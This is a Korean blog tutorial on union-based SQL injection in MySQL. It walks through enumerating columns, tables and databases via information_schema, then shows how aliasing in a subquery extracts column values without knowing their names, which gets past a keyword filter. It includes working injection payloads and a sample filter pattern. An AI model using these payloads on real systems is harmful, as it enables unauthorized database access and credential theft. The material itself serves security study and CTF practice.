Luv{Flag}
article thumbnail
반응형

UNION BASED SQL INJECTION 이란

여러개에 쿼리문을 사용하여 하나의 데이터로 출력해야되는 경우 사용하는 방법인 UNION 연산자를 이용하여 SQLI를 수행하는 방법이다.

 SELECT column1, column2 FROM TABLE1 ;
 UNION
 SELECT column1, column2 FROM TABLE2 ;

 

 

이때 칼럼의 갯수와 데이터의 형식이 같아야 함에 주의한다.

 

 

 


 

 

 

일반적으로 Union based SQLI를 수행하기 위한 절차는 다음과 같다.

 

  • 칼럼 수 찾기
  • DB명 찾기
  • 테이블 이름 찾기
  • 칼럼 이름 찾기
  • 원하는 정보 가져오기

 

직접 쿼리를 작성해 보며 단계를 밟아가 보겠다.

 

mysql> create table query_test (
    -> seq int not null auto_increment,
    -> uid varchar(10),
    -> upw varchar(10), 
    -> name varchar(10), 
    -> primary key(seq)) ENGINE=MYISAM CHARSET=utf8;

실습에 사용할 DB구조

 

 

1. 칼럼 개수 맞추기 - order by N

SELECT * FROM query_test order by 4 #colunm 개수 늘려가며 찾기

 

 

 

2. DB NAME 찾기 - DATABASE()

SELECT DATABASE(),1,1,1;

 

 

 

3. TABLE 이름 찾기 - table_schema, table_name, information_schema

 

SELECT table_schema, table_name from information_schema.tables where table_schema='/*your db name*/';

 

 

 

4. COLUMN 이름 찾기 - column_name, information_schema

 

SELECT column_name FROM information_schema.columns WHERE table_name='query_test';

 

 

 

 

 


 

 

Injecting WithOut Column name

사실 이부분이 이 글을 작성한 이유이다.

위에서 실습했던 query 들을 이용하여 간단하게 SQLI를 성공할 수 있으면 좋겠으나, 그렇지 못한 경우가 대부분일 것이다.

 

column name 을 찾기 위해 실습했던  다음과 같은 query를 이용하려고 한다.

idx=1%20union%20select%201,2,3,column_name%20from%20information_schema.columns%20where%20table_name%3D%27test_table%27%20limit%202,1

 

그런데, column name을 알지 못한 상태에서 injection을 시도하기 위해 information_schema 를 사용하려 할때, 다음과 같은 코드를 마주치면 어떨까?

if(preg_match("/information|schema|user/i", $_POST['id']) exit("no hack");

 

 

결과적으로 'Union' 이 필터링 당하지 않은 상태에서는, 이 상황 에서도 UNION SQLI를 수행할 수 있다.

column name을 알지 못한 상황에서 어떻게 가능할까?

 

 

 

> Alias(별명)을 사용하여 가능하다.

column name 들은 seq, uid, upw, name이다.

이것들은 다음과 같이 대체 될 수 있다.

 

 

seq, uid, upw, name이 우리가 선택한 1,2,3,4로 대체 되었다.

 

 

다음의 쿼리는 아마 2번째 컬럼 uid 의 값을 리턴해 줄 것이다.

select `2` from (select 1,2,3,4 union select * from query_test)unknown;

 

성공적!

 

 

이것을 이용하여 다음의 PHP코드를 injecting 해보자

SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';

 

 

?id=' or 1 union select 1,x,3,4 from (select 1,2,3 as x,4 union select * from query_test limit 1,1)unknown limit 1,1;#

그렇다면 최종적으로 SQL에는 다음과 같은 코드가 실행 될 것이다.

 

SELECT * FROM query_test WHERE uid='' OR 1 
union SELECT 1,x,3,4 from (SELECT 1,2 as x,3,4 union SELECT * FROM query_test limit 1,1)unkown limit 1,1;#' and $pw_column='{$pw}';

놀랍게도, column의 이름을 알지 못했지만 조회에 성공하였다.

 

 

 

처음 select 문 (제일 밖) 에서 x로 출력될 위치를 정하고(사진상 uid 위치), 두번쨰 select 문에서 as x 로 가저올 값을 정한다.

따라서 SELECT 1,2 as x,3,4 가 아니라 SELECT 1,2,3 as x,4 가 되면 순서상 upw 의 값을 가져오게 된다는 뜻이다.

 

 

 

반응형

'Web > SQL, NoSQL' 카테고리의 다른 글

[NoSQL] Redis DB -1  (2) 2023.07.17
[MYSQL] MYSQL Shell 초간단 사용법 정리  (0) 2023.02.10

검색 태그

loading